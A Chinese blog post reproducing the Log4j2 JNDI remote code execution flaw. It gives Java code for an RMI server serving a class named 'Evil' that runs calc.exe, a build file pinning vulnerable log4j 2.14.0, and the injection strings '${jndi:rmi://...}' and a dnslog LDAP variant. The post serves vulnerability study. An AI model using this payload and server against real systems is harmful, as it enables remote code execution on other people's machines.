Log4j2漏洞复现

前言

Log4j2的远程执行漏洞最近炒得沸沸扬扬,我一直使用logback而幸免遇难,周末就躺在被窝里看戏了。虽然我们不用,但还是要了解的。

复现

控制服务端

■ RMIServer

RMIServer启动一个rmi服务,会启动两个端口,一个是registry设置,还有一个随机的端口与ip供传输执行类(System.setProperty设置是部署在多网卡环境,类似服务器上时设置的,设置到公网ip)。

package com.bbq;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    
    
    public static void main(String[] args) {
    
    
        try {
    
    
//            System.setProperty("java.rmi.server.hostname", "192.168.1.1");
            Registry registry = LocateRegistry.createRegistry(1099);
            System.err.println("Create RMI success");

            Reference reference = new Reference("com.bbq.Evil", "com.bbq.Evil", null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil", referenceWrapper);
        } catch (Exception e) {
    
    
            e.printStackTrace();
        }
    }
}

■ 执行类

执行的操作,此处打开计算器,能打开计算器也就意味着可以执行更多的危险操作。

package com.bbq;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Evil implements ObjectFactory {
    
    

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    
    
        try {
    
    
            String commands = "calc.exe";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch (Exception e) {
    
    
            e.printStackTrace();
        }
        return null;
    }
}

被控服务端

■ pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.bbq</groupId>
    <artifactId>fastjs</artifactId>
    <version>1.0-SNAPSHOT</version>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
    </dependencies>
</project>

■ log4j2.xml

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="debug">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

■ 使用Log4j的类

假如前端输入没做防火墙,用户名输入为这段非法字符串,而登录失败时采用占位符方式打印日志,就会执行远程代码内容。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Lo4j {
    
    
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
    
    
        String username = "${jndi:rmi://127.0.0.1:1099/evil}";
//        String username = "${jndi:ldap://yz934v.dnslog.cn}";
        logger.info("bbq,{}", username);
    }
}

执行结果

运行后就会在被控服务端的使用Log4j的类执行控制服务端的执行类,例如此处打开计算器。
在这里插入图片描述

使用dnslog网站测试

部署控制服务端不方便的话,可以借助dnslog网站测试

■ http://dnslog.cn/

在这里插入图片描述

■ ① Get SubDomain

① 点击第一个按钮 Get SubDomain,会获取一个域名。

■ ② 触发

② 使用Log4j的类的username处改为${jndi:ldap://【获取的域名】}"。

■ ③ Refresh Record

③ 点击Refresh Record 就会得到反馈。
在这里插入图片描述

最后

复现后就明白条件的苛刻,不用人云亦云,要触发这个漏洞还是要满足很多条件的,单单采用占位符记录输入这个奇葩操作我们都不太可能编写,更何况还有其它条件,不用看几篇报告就杯弓蛇影,当然劳动力富裕,所有项目做个升级也没有坏处。

猜你喜欢

转载自blog.csdn.net/qq_24054301/article/details/121942787